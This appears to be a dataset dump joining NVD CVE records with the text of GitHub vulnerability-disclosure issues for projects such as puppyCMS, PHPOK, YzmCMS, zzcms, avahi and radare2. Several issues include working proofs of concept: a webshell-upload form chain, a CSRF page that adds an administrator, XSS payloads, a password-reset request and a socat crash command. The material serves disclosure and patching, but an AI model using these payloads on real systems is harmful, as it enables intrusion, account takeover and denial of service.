"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
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"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/choregus/puppyCMS/issues/14"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/choregus/puppyCMS/issues/14"
}
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] | [
"281"
] | 281 | https://github.com/choregus/puppyCMS/issues/14 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"choregus",
"puppyCMS"
] | The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
exp.html--getshell
```
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>
This form allows you to mkdir /content/ directory.<br>
(By default there is no /content/ directory, you should first mkdir the /content/ directory.)<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="addFolder" value="" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>
This form allows you to upload a webshell.txt to the server.<br>
(Filename must be webshell.txt)<br>
<form id="test2" action="" method="post" enctype="multipart/form-data"><br>
Filename:
<input type="file" name="uploadFile">
<input type='hidden' name="asset-upload" value="1" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Upload File">
</form>
<br/>
<br/>
<br/>
This form allows you to rename /content/webshell.txt to /content/webshell.php<br>
<form id="test3" action="" method="post"><br>
<input type='hidden' name="renameFolder" value="webshell.php.txt" />
<input type='hidden' name="oldFolder" value="webshell.txt" />
<input type='hidden' name="path" value="" />
<input type="submit" value="Submit">
</form>
<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
document.getElementById("test3").action = page;
</script>
</body>
</html>
``` | There is a RCE vulnerability that can upload a webshell without admin login. | https://api.github.com/repos/choregus/puppyCMS/issues/14/comments | 0 | 2019-03-27T15:50:21Z | 2019-03-27T15:50:21Z | https://github.com/choregus/puppyCMS/issues/14 | 426,040,912 | 14 | 1,922 |
CVE-2021-32074 | 2021-05-07T05:15:08.153 | HashiCorp vault-action (aka Vault GitHub Action) before 2.2.0 allows attackers to obtain sensitive information from log files because a multi-line secret was not correctly registered with GitHub Actions for log masking. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"cvssData": {
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"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
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"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Vendor Advisory"
],
"url": "https://discuss.hashicorp.com/t/hcsec-2021-13-vault-github-action-did-not-correctly-mask-multi-line-secrets-in-output/24128"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/blob/master/CHANGELOG.md"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/issues/205"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/pull/208"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Vendor Advisory"
],
"url": "https://discuss.hashicorp.com/t/hcsec-2021-13-vault-github-action-did-not-correctly-mask-multi-line-secrets-in-output/24128"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/blob/master/CHANGELOG.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/issues/205"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/hashicorp/vault-action/pull/208"
}
] | [
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] | [
"532"
] | 532 | https://github.com/hashicorp/vault-action/issues/205 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"hashicorp",
"vault-action"
] | When using v0.2.1 actions output secrets in plaintext, here's an example
pipeline output
```go
Run
echo "-----BEGIN OPENSSH PRIVATE KEY-----"
```
pipeline itself
```go
on: push
jobs:
test:
strategy:
matrix:
go-version: [1.16.x]
runs-on: self-hosted
steps:
- name: Import Secrets
id: secrets
uses: github/vault-action@v2.1.2
with:
url: https://vault:8200
method: approle
roleId: abc
secretId: ${{ secrets.SECRETID }}
tlsSkipVerify: true
secrets: |
secret/data/secret ssh-key | SSH_KEY ;
- name: Install Go
uses: actions/setup-go@v2
with:
go-version: ${{ matrix.go-version }}
- name: Checkout code
uses: actions/checkout@v2
- name: Setup bitbucket
run: |
echo "${{ env.SSH_KEY }}" > ~/.ssh/id_rsa
- name: Test
run: make test
```
| Exposes secrets in plaintext | https://api.github.com/repos/hashicorp/vault-action/issues/205/comments | 1 | 2021-04-20T17:51:47Z | 2021-05-05T10:54:07Z | https://github.com/hashicorp/vault-action/issues/205 | 863,075,495 | 205 | 1,923 |
CVE-2021-3502 | 2021-05-07T12:15:07.267 | A flaw was found in avahi 0.8-5. A reachable assertion is present in avahi_s_host_name_resolver_start function allowing a local attacker to crash the avahi service by requesting hostname resolutions through the avahi socket or dbus methods for invalid hostnames. The highest threat from this vulnerability is to the service availability. | {
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"cvssData": {
"accessComplexity": "LOW",
"accessVector": "LOCAL",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 2.1,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 3.9,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
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"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
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"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1946914"
},
{
"source": "secalert@redhat.com",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/lathiat/avahi/issues/338"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1946914"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/lathiat/avahi/issues/338"
}
] | [
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] | [
"617"
] | 617 | https://github.com/lathiat/avahi/issues/338 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"lathiat",
"avahi"
] | Hi
An issue was reported in Debian as https://bugs.debian.org/986018 which got CVE-2021-3502 assigned. Quoting the report:
```
Package: avahi-daemon
Version: 0.8-5
Severity: important
Tags: security
Control: notfound -1 0.7-4+b1
Dear Maintainers,
I found another local denial-of-service vulnerability in avahi-daemon.
It can be triggered by trying to resolve badly-formatted hostnames on
the /run/avahi-daemon/socket interface (I stumbled upon it, accidentally
trying to resolve an IP as a hostname...)
This time the daemon just dies, and this time buster is not affected.
Steps to reproduce:
$ (echo "RESOLVE-HOSTNAME a"; sleep 3;) | socat - /run/avahi-daemon/socket
$ ps -FC avahi-daemon
Same results for these queries: "a.", ".a", "a..b", ".b.c", "a.b.."
Note that every local user has access to the socket.
Yours
Thomas Kremer
```
| reachable assertion in avahi_s_host_name_resolver_start when trying to resolve badly-formatted hostnames (CVE-2021-3502) | https://api.github.com/repos/avahi/avahi/issues/338/comments | 2 | 2021-04-26T17:05:33Z | 2021-06-04T07:06:38Z | https://github.com/avahi/avahi/issues/338 | 867,929,372 | 338 | 1,924 |
CVE-2020-19199 | 2021-05-10T18:15:07.640 | A Cross Site Request Forgery (CSRF) vulnerability exists in PHPOK 5.2.060 via admin.php?c=admin&f=save, which could let a remote malicious user execute arbitrary code. | {
"cvssMetricV2": [
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"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/qinggan/phpok/issues/5"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/qinggan/phpok/issues/5"
}
] | [
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}
] | [
"352"
] | 352 | https://github.com/qinggan/phpok/issues/5 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"qinggan",
"phpok"
] | After the administrator logged in, open the following page can add an administrator user named admin
poc：
test.html---add an administrator user named admin
```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/admin.php?c=admin&f=save" method="POST">
<input type="hidden" name="account" value="admin" />
<input type="hidden" name="pass" value="123456" />
<input type="hidden" name="email" value="test@163.com" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="if_system" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
``` | There is a CSRF vulnerability that can add the administrator account | https://api.github.com/repos/qinggan/phpok/issues/5/comments | 0 | 2019-05-03T07:34:07Z | 2023-03-11T08:14:33Z | https://github.com/qinggan/phpok/issues/5 | 439,923,529 | 5 | 1,925 |
CVE-2020-18102 | 2021-05-10T20:15:07.643 | Cross Site Scripting (XSS) in Hotels_Server v1.0 allows remote attackers to execute arbitrary code by injecting crafted commands the data fields in the component "/controller/publishHotel.php". | {
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"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
"exploitabilityScore": 8.6,
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"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
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"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
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"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
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"impactScore": 2.7,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/FantasticLBP/Hotels_Server/issues/3"
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] | github.com | [
"FantasticLBP",
"Hotels_Server"
] | In /view/hotelList.php
As you see, there are not any filtration in all ‘echo’s.
Also in /controller/publishHotel.php , these are inserted into database without filtration
After all, we can enjoy XSS
| XSS Vulnerability in /view/hotelList.php | https://api.github.com/repos/FantasticLBP/Hotels_Server/issues/3/comments | 0 | 2019-01-23T16:31:32Z | 2019-01-23T16:31:32Z | https://github.com/FantasticLBP/Hotels_Server/issues/3 | 402,324,073 | 3 | 1,926 |
CVE-2021-32053 | 2021-05-10T21:15:07.883 | JPA Server in HAPI FHIR before 5.4.0 allows a user to deny service (e.g., disable access to the database after the attack stops) via history requests. This occurs because of a SELECT COUNT statement that requires a full index scan, with an accompanying large amount of server resources if there are many simultaneous history requests. | {
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] | github.com | [
"hapifhir",
"hapi-fhir"
] | A weakness in our handling of FHIR [history](http://hl7.org/fhir/http.html#history) operations has been reported.
Specifically, on a server with a very large number of resources, if the history operation is executed by many clients (e.g. 200) concurrently, the server becomes unresponsive and ultimately consumes a large amount of disk and becomes unstable.
Our investigation has revealed that the root cause is a `SELECT COUNT(...)` query that executes at the start of all `_history` operations. Essentially, anytime a `_history` is executed, the server executes 2 SQL statements (statements here are approximate):
1. A `SELECT COUNT(pid) FROM hfj_res_ver` is performed to supply a value for `Bundle.total`
2. A `SELECT * FROM hfj_res_ver ORDER BY updated DESC LIMIT 100` is performed to supply the contents
The second query is executed against an index and is very fast. The first query by its nature requires a full index scan and is slow. Executing it 200 concurrent times quickly overwhelms the database and leads to timeouts, exceptions, and eventually instability.
The proposed fix is as follows:
* A new DaoConfig setting is added. This setting introduces a "history count mode" with 3 options:
* Cached. This is the new default: A loading cache will be used for history counts, meaning that counts are stored in RAM for up to one minute, and the loading cache blocks all but one client thread per JVM from actually performing the count. This effectively throttles access to the database.
* Not cached. This is the status quo and does exhibit the weakness described here, but may be appropriate in scenarios where users are trusted and accuracy is always required.
* No count. This setting avoids the count query entirely, saving time and avoiding this weakness at the expense of not including any total in the response.
A huge thanks to **Zachary Minneker at Security Innovation** who discovered and submitted a responsible disclosure of this issue.
This issue will be resolved for the upcoming 5.4.0 release. A CVE number is forthcoming. | Potential Denial of Service in JPA Server via history operation | https://api.github.com/repos/hapifhir/hapi-fhir/issues/2641/comments | 0 | 2021-05-06T14:26:38Z | 2021-05-07T16:04:59Z | https://github.com/hapifhir/hapi-fhir/issues/2641 | 877,557,526 | 2,641 | 1,927 |
CVE-2020-23369 | 2021-05-10T23:15:07.177 | In YzmCMS 5.6, XSS was discovered in member/member_content/init.html via the SRC attribute of an IFRAME element because of using UEditor 1.4.3.3. | {
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] | github.com | [
"yzmcms",
"yzmcms"
] | **Description**
In YzmCMS 5.6, XSS in edit article page via the SRC attribute of an IFRAME element because of using UEditor 1.4.3.3.
**PoC**
```html
<iframe src="javascript:alert(document.cookie)"></iframe>
```
Script tags are filtered, but iframe tags are not:
Refer to: http://www.51testing.com/html/17/n-3721417.html | XSS exists in YzmCMS V5.6 | https://api.github.com/repos/yzmcms/yzmcms/issues/46/comments | 1 | 2020-05-22T17:05:17Z | 2020-05-23T03:36:53Z | https://github.com/yzmcms/yzmcms/issues/46 | 623,363,000 | 46 | 1,928 |
CVE-2020-23370 | 2021-05-10T23:15:07.210 | In YzmCMS 5.6, stored XSS exists via the common/static/plugin/ueditor/1.4.3.3/php/controller.php action parameter, which allows remote attackers to upload a swf file. The swf file can be injected with arbitrary web script or HTML. | {
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"yzmcms"
] | **Description**
In YzmCMS 5.6, Stored XSS exists via the common/static/plugin/ueditor/1.4.3.3/php/controller.php action parameter, which allows remote attackers to upload a swf file. The swf file can be injected arbitrary web script or HTML.
**PoC**
In yzmcms\common\static\plugin\ueditor\1.4.3.3\php\config.json, when the value of action parameter is 'uploadvideo' or 'uploadfile', it allows remote user to upload a swf file:
```json
/* 上传视频配置 */
"videoActionName": "uploadvideo", /* 执行上传视频的action名称 */
"videoFieldName": "upfile", /* 提交的视频表单名称 */
"videoPathFormat": "/ueditor/video/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */
"videoUrlPrefix": "", /* 视频访问路径前缀 */
"videoMaxSize": 102400000, /* 上传大小限制，单位B，默认100MB */
"videoAllowFiles": [
".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid"], /* 上传视频格式显示 */
/* 上传文件配置 */
"fileActionName": "uploadfile", /* controller里,执行上传视频的action名称 */
"fileFieldName": "upfile", /* 提交的文件表单名称 */
"filePathFormat": "/ueditor/file/{yyyy}{mm}{dd}/{time}{rand:6}", /* 上传保存路径,可以自定义保存路径和文件名格式 */
"fileUrlPrefix": "", /* 文件访问路径前缀 */
"fileMaxSize": 51200000, /* 上传大小限制，单位B，默认50MB */
"fileAllowFiles": [
".png", ".jpg", ".jpeg", ".gif", ".bmp",
".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
], /* 上传文件格式显示 */
```
So I write and compile an evil swf file whose source code is as follows:
```
import flash.external.ExternalInterface;
ExternalInterface.call('alert(document.cookie)');
```
Then I upload the swf file through common/static/plugin/ueditor/1.4.3.3/php/controller.php without login:
When background administrator previews this attachment, it will cause XSS attack:
| A Stored XSS exists in YzmCMS V5.6 | https://api.github.com/repos/yzmcms/yzmcms/issues/45/comments | 1 | 2020-05-22T16:55:04Z | 2020-05-23T03:37:03Z | https://github.com/yzmcms/yzmcms/issues/45 | 623,355,001 | 45 | 1,929 |
CVE-2020-18964 | 2021-05-11T19:15:08.517 | Cross Site Request Forgery (CSRF) Vulnerability in ForestBlog latest version via the website Management background, which could let a remote malicious gain privileges. | {
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"Third Party Advisory"
] | github.com | [
"saysky",
"ForestBlog"
] | ### csrf vulnerability
In this vulnerability, if the admin user click the Fishing links the hacker provided, the it can generate a new user that can login in the website management background.
I review the code in the project, then I found that the code where the admin add other users, it has no protection for Cross-site request forgery.
so, I use burp to generate the CSRF Poc.
then, if the admin click the button(some csrf link), it generates a new user admin2 in the websie.
admin2 can login in the website background.
for more test, this vulnerability can also use to delete some user in the website. | There is csrf vulnerability | https://api.github.com/repos/saysky/ForestBlog/issues/20/comments | 0 | 2019-04-04T05:09:18Z | 2020-04-18T06:49:11Z | https://github.com/saysky/ForestBlog/issues/20 | 429,085,753 | 20 | 1,930 |
CVE-2020-19274 | 2021-05-12T17:15:07.450 | A Cross SIte Scripting (XSS) vulnerability exists in Dhcms 2017-09-18 in guestbook via the message board, which could let a remote malicious user execute arbitrary code. | {
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] | github.com | [
"ShaoGongBra",
"dhcms"
] | Holes for details:
in guestbook
`http://192.168.3.56/dhcms/api.php?r=dhcms/Form/push
POST:
content=1'"()%26%25<acx><ScRiPt%20>alert(5555)</ScRiPt>&email=sample%40email.tst&keyword=e&model=1&name=e&table=guestbook&token=+7c817f9ed88f10ea0b0070efe974c29c+`
you can Executed alert。
http://192.168.3.56/dhcms/index.php?r=DhCms/Form/index&name=guestbook
| Dhcms Stored-XSS Vulnerabilities_in guestbook | https://api.github.com/repos/ShaoGongBra/dhcms/issues/3/comments | 0 | 2019-10-11T00:41:21Z | 2019-10-11T01:20:19Z | https://github.com/ShaoGongBra/dhcms/issues/3 | 505,577,957 | 3 | 1,931 |
CVE-2020-19275 | 2021-05-12T18:15:08.227 | An Information Disclosure vulnerability exists in dhcms 2017-09-18 when entering invalid characters after the normal interface, which causes an error that will leak the physical path. | {
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"ShaoGongBra",
"dhcms"
] | Vulnerability details：
1. Enter invalid content after the normal file, causing an error。
url:http://192.168.3.56/dhcms/index.php?r=DhCms/Form/index&name=guestbook
2. Any file is fine, just enter invalid characters at the back。
| dhcms Physical path leak | https://api.github.com/repos/ShaoGongBra/dhcms/issues/4/comments | 0 | 2019-10-11T01:26:42Z | 2019-10-11T01:26:42Z | https://github.com/ShaoGongBra/dhcms/issues/4 | 505,588,356 | 4 | 1,932 |
CVE-2020-20092 | 2021-05-13T15:15:07.417 | File Upload vulnerability exists in ArticleCMS 1.0 via the image upload feature at /admin by changing the Content-Type to image/jpeg and placing PHP code after the JPEG data, which could let a remote malicious user execute arbitrary PHP code. | {
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] | 434 | https://github.com/woider/ArticleCMS/issues/8 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"woider",
"ArticleCMS"
] | there is a File upload attack vulnerability,It can lead to arbitrary uploading of PHP script files.
The location of the vulnerability is in http://ip/public/admin,where the content editing function is.
Let's see the code:
There are two problems:
1. The uploaded file detection is not strict, only the content-type is detected, and even the file suffix is not detected, which causes us to modify the content-type when uploading to bypass the upload php file.
2. File processing logic vulnerabilities, although there is a file abbreviated processing, but when uploading a sentence Trojan with a jpg file header, the server will not return the address, but the file is already stored on the server, so the file upload can be achieved.
In addition, although the CMS detects and filters uploaded files, it will be automatically commented out if it matches **<?php** .
such as:
but We can bypass with short tags,such as:
1. Use **<?=** instead of **<?php**
2. Use **<script language='php'></script>** to bypass
My exploit is as follows:
Let's test it out.
as we can see,The PHP Trojan has been successfully uploaded and validated. | there is a File upload attack vulnerability | https://api.github.com/repos/woider/ArticleCMS/issues/8/comments | 0 | 2019-08-15T12:40:09Z | 2019-08-15T12:40:09Z | https://github.com/woider/ArticleCMS/issues/8 | 481,132,334 | 8 | 1,933 |
CVE-2020-21342 | 2021-05-13T15:15:07.453 | Insecure permissions issue in zzcms 201910 via the reset any user password in /one/getpassword.php. | {
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"zzcms"
] | link: http://www.zzcms.net/about/6.htm
Edition: zzcms 201910 data:2019-10-13 /one/getpassword.php
0x01 Vulnerability
There is found password by controlloing action and username
0x02 Control action and password
We can see
first ==> set action=3
second ==> set password,passwordtrue field
so set json ==> action=3&password=admin&passwordtrue=admin
0x03 payload
Payload is as follows, add post: action=3&password=admin&passwordtrue=admin
An attacker can query registered users through the registration interface
Reset the user password without authentication
0x04 Exp it
There is zzcms register user
Crawl registration request
add payload in post request
Confirm that the user password in the database has been changed
You can use this password to log in to the user's personal center
But in my tests, I found that if you create a new user and you have to wait a while or restart your database, the same should happen if you change a user's password | Reset any user password | https://api.github.com/repos/Anx1a/zzcms_vulnerability/issues/1/comments | 0 | 2019-11-20T03:46:34Z | 2019-11-20T03:46:34Z | https://github.com/Anx1a/zzcms_vulnerability/issues/1 | 525,421,685 | 1 | 1,934 |
CVE-2021-32615 | 2021-05-13T23:15:07.337 | Piwigo 11.4.0 allows admin/user_list_backend.php order[0][dir] SQL Injection. | {
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] | 89 | https://github.com/Piwigo/Piwigo/issues/1410 | [
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] | github.com | [
"Piwigo",
"Piwigo"
] | As reported by Harry Goodman from NCC Group:
> The ‘order[0][dir]’ parameter in admin/user_list_backend.php is vulnerable to SQL injection
>
> I believe this is because of the following pieces of code:
```
68 if ( $_REQUEST['columns'][$col]["searchable"] == "true" )
69 {
70 $sOrder .= $aColumns[ $col ].' '.$_REQUEST["order"][0]["dir"].', ';
71 }
```
> I would suggest either using the check_inputs function that your application seems to rely on, or depending on how much functionality is needed, just do a check to ensure the parameter is either ASC or DESC.
>
> CVE-2021-32615 | [11.x, user manager] SQL injection | https://api.github.com/repos/Piwigo/Piwigo/issues/1410/comments | 0 | 2021-05-13T10:37:45Z | 2021-05-13T10:40:24Z | https://github.com/Piwigo/Piwigo/issues/1410 | 890,930,565 | 1,410 | 1,935 |
CVE-2021-32613 | 2021-05-14T13:15:07.377 | In radare2 through 5.3.0 there is a double free vulnerability in the pyc parse via a crafted file which can lead to DoS. | {
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] | 415 | https://github.com/radareorg/radare2/issues/18666 | [
"Exploit",
"Issue Tracking",
"Patch",
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] | github.com | [
"radareorg",
"radare2"
] | ## Environment
```sh
fuzz@fuzz:~/fuzz$ date
Fri 07 May 2021 12:59:49 PM UTC
fuzz@fuzz:~/fuzz$ r2 -v
radare2 5.3.0-git 26142 @ linux-x86-64 git.5.2.1
commit: 518bf6664cedcb3035c9c47388b4fa03bba66748 build: 2021-05-07__12:55:47
fuzz@fuzz:~/fuzz$ uname -ms
Linux x86_64
```
## Description
<!-- Explain what's the issue and what would you expect to see -->
While I am fuzzing rabin2 binary with -I parameter, I found out that there may be a heap-use-after-free ( and double-free , I guess) bug on it. I am suspecting that two same undefined types are found and rabin2 tries to manipulate (copy, free etc) without control.
With MSAN:
```sh
fuzz@fuzz:~/fuzz/issue$ rabin2 -I double_free
Copy not implemented for type 78
==899274==WARNING: MemorySanitizer: use-of-uninitialized-value
#0 0x7ffff43be235 in free_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:721:6
#1 0x7ffff43bdcf9 in get_code_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:978:3
#2 0x7ffff43c17c9 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1065:9
#3 0x7ffff43bec47 in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1218:34
#4 0x7ffff43cf3d1 in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/pyc.c:7:9
#5 0x7ffff43ba51e in symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_pyc.c:124:2
#6 0x7ffff3c3e446 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327:16
#7 0x7ffff3c3b588 in r_bin_object_new /home/fuzz/fuzz/radare2/libr/bin/bobj.c:172:2
#8 0x7ffff3c1d379 in r_bin_file_new_from_buffer /home/fuzz/fuzz/radare2/libr/bin/bfile.c:529:19
#9 0x7ffff3bb803b in r_bin_open_buf /home/fuzz/fuzz/radare2/libr/bin/bin.c:286:8
#10 0x7ffff3bb6048 in r_bin_open_io /home/fuzz/fuzz/radare2/libr/bin/bin.c:346:13
#11 0x7ffff3bb4919 in r_bin_open /home/fuzz/fuzz/radare2/libr/bin/bin.c:231:9
#12 0x7ffff7dde246 in r_main_rabin2 /home/fuzz/fuzz/radare2/libr/main/rabin2.c:1069:7
#13 0x5555555ec931 in main /home/fuzz/fuzz/radare2/binr/rabin2/rabin2.c:6:9
#14 0x7ffff7bb10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#15 0x55555557225d in _start (/home/fuzz/fuzz/radare2/binr/rabin2/rabin2+0x1e25d)
SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:721:6 in free_object
Exiting
```
With ASAN:
```
=================================================================
==1631110==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000065890 at pc 0x7fffef7c994c bp 0x7ffffff99320 sp 0x7ffffff99318
READ of size 4 at 0x602000065890 thread T0
#0 0x7fffef7c994b in copy_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:790:23
#1 0x7fffef7c1b53 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1141:19
#2 0x7fffef7bc09e in get_code_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:940:15
#3 0x7fffef7c1718 in get_object /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1065:9
#4 0x7fffef7be85f in get_sections_symbols_from_code_objects /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/marshal.c:1218:34
#5 0x7fffef7ce054 in pyc_get_sections_symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/../format/pyc/pyc.c:7:9
#6 0x7fffef7b985f in symbols /home/fuzz/fuzz/radare2/libr/../libr/bin/p/bin_pyc.c:124:2
#7 0x7fffef003464 in r_bin_object_set_items /home/fuzz/fuzz/radare2/libr/bin/bobj.c:327:16
